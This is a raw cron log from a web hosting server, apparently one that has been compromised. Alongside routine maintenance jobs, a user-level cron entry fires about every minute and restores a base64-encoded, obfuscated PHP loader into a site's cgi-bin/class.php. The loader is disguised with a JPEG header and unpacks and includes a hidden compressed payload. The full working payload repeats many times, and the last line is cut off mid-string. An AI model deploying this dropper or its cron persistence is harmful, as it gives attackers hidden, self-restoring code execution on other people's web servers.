Sep 12 12:30:01 server CROND[20963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:30:01 server CROND[20966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:30:01 server CROND[20970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:30:01 server CROND[20968]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 12:30:01 server CROND[20965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:30:01 server CROND[20971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:30:01 server CROND[20967]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:30:01 server CROND[20969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:30:01 server CROND[20973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:31:01 server CROND[21815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:31:01 server CROND[21816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:31:01 server CROND[21817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:32:01 server CROND[22255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:32:01 server CROND[22256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:32:01 server CROND[22257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:33:01 server CROND[22638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:33:01 server CROND[22639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:33:01 server CROND[22640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:34:01 server CROND[23185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:34:01 server CROND[23186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:34:01 server CROND[23187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:35:01 server CROND[23658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:35:01 server CROND[23667]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:35:01 server CROND[23673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:35:01 server CROND[23672]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 12:35:01 server CROND[23678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:35:01 server CROND[23680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:35:01 server CROND[23675]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:35:01 server CROND[23677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:35:01 server CROND[23674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:36:01 server CROND[24535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:36:01 server CROND[24536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:36:01 server CROND[24537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:37:01 server CROND[24914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:37:01 server CROND[24915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:37:01 server CROND[24916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:38:01 server CROND[25282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:38:01 server CROND[25283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:38:01 server CROND[25284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:39:01 server CROND[25682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:39:01 server CROND[25683]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 12:39:01 server CROND[25684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:39:01 server CROND[25685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:40:01 server CROND[26073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:40:01 server CROND[26078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:40:01 server CROND[26079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:40:01 server CROND[26083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:40:01 server CROND[26080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:40:01 server CROND[26085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:40:01 server CROND[26081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:40:01 server CROND[26084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:41:01 server CROND[27125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:41:01 server CROND[27126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7